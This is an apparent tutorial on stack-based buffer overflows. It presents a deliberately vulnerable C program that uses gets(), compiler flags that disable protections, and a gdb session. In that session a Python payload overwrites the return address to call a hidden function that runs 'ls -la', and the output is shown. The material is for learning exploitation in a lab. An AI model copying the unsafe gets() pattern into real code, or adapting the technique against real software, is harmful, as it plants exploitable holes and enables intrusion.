Stack‑based Buffer Overflow
A stack‑based buffer overflow happens when a program writes more data into a stack‑allocated buffer than it was designed to hold. Because the stack stores important control data (like return addresses), overflowing a buffer can overwrite that data and change how the program executes.
The following code contains a function named hidden that is never called during normal execution. However, a threat actor could exploit a stack‑based buffer overflow to redirect execution flow and invoke this function that lists the files in the current directory.
#include <stdio.h> // Provides printf(), gets()
#include <stdlib.h>// Provides system(), exit()
#include <string.h>// String functions (not directly used here)void hidden() {
printf(“Hidden Function\n”); // Print a message to stdout
system(“ls -la”); // Execute a shell command
exit(0); // Terminate the program immediately
}void vulnerable() {
char buffer[20]; // Allocate 20 bytes on the stack
printf(“Enter text:\n”); // Prompt the user
gets(buffer); // No bounds checking, Input longer than 20 bytes will overwrite adjacent stack memory
printf(“You entered: %s\n”, buffer); // Echo user input back
}int main() {
vulnerable(); // Execute vulnerable code
return 0; // Normal program termination
}
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void hidden() {
printf("Hidden Function\n");
system("ls -la");
exit(0);
}
void vulnerable() {
char buffer[20];
printf("Enter text: ");
gets(buffer);
printf("You entered: %s\n", buffer);
}
int main() {
vulnerable();
return 0;
}
Compile the program with gcc
gcc # an open-source set of compilers and development tools for various programming languages
-m32 # Compile as 32-bit (simpler stack layout, x86 calling convention)
-O0 # Disable optimizations (keeps variables on the stack)
-ggdb # Include GDB debugging symbols
-static # Statically link libraries (fixed addresses, larger binary)
-U_FORTIFY_SOURCE # Disable _FORTIFY_SOURCE safety checks
-z execstack # Mark stack as executable (disable NX/DEP)
-fno-stack-protector # Disable stack canaries
-no-pie # Disable PIE (fixed code addresses, weaker ASLR)
-mpreferred-stack-boundary=2 # Set stack alignment to 4 bytes (2^2)
app.c -o app # Compile app.c into output binary “app”
gcc -m32 -O0 -ggdb -static -U_FORTIFY_SOURCE -z execstack -fno-stack-protector -no-pie -mpreferred-stack-boundary=2 app.c -o app
Access ASLR disabled shell using setarch
setarch # Run a program with modified architecture settings
`uname -m` # Use the current machine architecture (e.g., x86_64)
-R # Disable ASLR (Address Space Layout Randomization)
$SHELL # Start a new shell with these settings applied
setarch `uname -m` -R $SHELL
Change the app mode
chmod # a Linux/Unix command used to change the permissions of a file or directory
+x # Make it executable
app # Name of the app
chmod +x app
Then, run the program with gdb
root@u20:~# gdb app
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.2) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from app...
Instead of manually entering input, we use a Python script to generate the payload. The payload is 34 bytes in length, where 20 bytes are required to cause a segmentation fault and the remaining bytes serve as padding.
(gdb) run < <(python3 -c "import struct; import sys; sys.stdout.buffer.write(b'A'*34)")
Starting program: /root/app < <(python3 -c "import struct; import sys; sys.stdout.buffer.write(b'A'*34)")
Enter text: You entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x08004141 in ?? ()
Print the CPU registers, focusing on the EIP register, which is updated by the CPU to point to the next instruction to execute. When a function returns, the return address is stored on the stack and then loaded into EIP. In this case, the value 0x08004141 indicates that user‑controlled input has partially overwritten the return address. This confirms that the return address is reached after 32 bytes of padding.
(gdb) info registers
eax 0x30 48
ecx 0x7fffffd0 2147483600
edx 0x80b503c 134959164
ebx 0x41414141 1094795585
esp 0xffffd660 0xffffd660
ebp 0x41414141 0x41414141
esi 0x80e7000 135163904
edi 0x80e7000 135163904
eip 0x8004141 0x8004141
eflags 0x10286 [ PF SF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
Let’s find the hidden function address
(gdb) disas hidden
Dump of assembler code for function hidden:
0x08049d95 <+0>: endbr32
0x08049d99 <+4>: push %ebp
0x08049d9a <+5>: mov %esp,%ebp
0x08049d9c <+7>: push %ebx
0x08049d9d <+8>: sub $0x4,%esp
0x08049da0 <+11>: call 0x8049c70 <__x86.get_pc_thunk.bx>
0x08049da5 <+16>: add $0x9d25b,%ebx
0x08049dab <+22>: sub $0xc,%esp
0x08049dae <+25>: lea -0x31ff8(%ebx),%eax
0x08049db4 <+31>: push %eax
0x08049db5 <+32>: call 0x8058b40 <puts>
0x08049dba <+37>: add $0x10,%esp
0x08049dbd <+40>: sub $0xc,%esp
0x08049dc0 <+43>: lea -0x31fe8(%ebx),%eax
0x08049dc6 <+49>: push %eax
0x08049dc7 <+50>: call 0x8051560 <system>
0x08049dcc <+55>: add $0x10,%esp
0x08049dcf <+58>: sub $0xc,%esp
0x08049dd2 <+61>: push $0x0
0x08049dd4 <+63>: call 0x8050730 <exit>
End of assembler dump.
Use that address in the exploit payload after the 32 bytes padding, this will call the hidden function that lists directory files
(gdb) run < <(python3 -c "import struct; import sys; sys.stdout.buffer.write(b'A'*32 + struct.pack('I', 0x08049d95))")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/app < <(python3 -c "import struct; import sys; sys.stdout.buffer.write(b'A'*32 + struct.pack('I', 0x08049d95))")
Enter text: You entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Hidden Function
[Detaching after vfork from child process 449]
total 784
drwx------ 5 root root 4096 Feb 10 20:16 .
drwxr-xr-x 24 root root 4096 Feb 10 18:59 ..
-rw-r--r-- 1 root root 1024 Feb 10 07:02 .app.swp
-rwxr-xr-x 1 root root 721556 Feb 10 20:16 app
-rw-r--r-- 1 root root 326 Feb 10 20:16 app.c
drwxr-xr-x 9 root root 4096 Oct 19 14:51 vsftpd-2.3.4
[Inferior 1 (process 446) exited normally]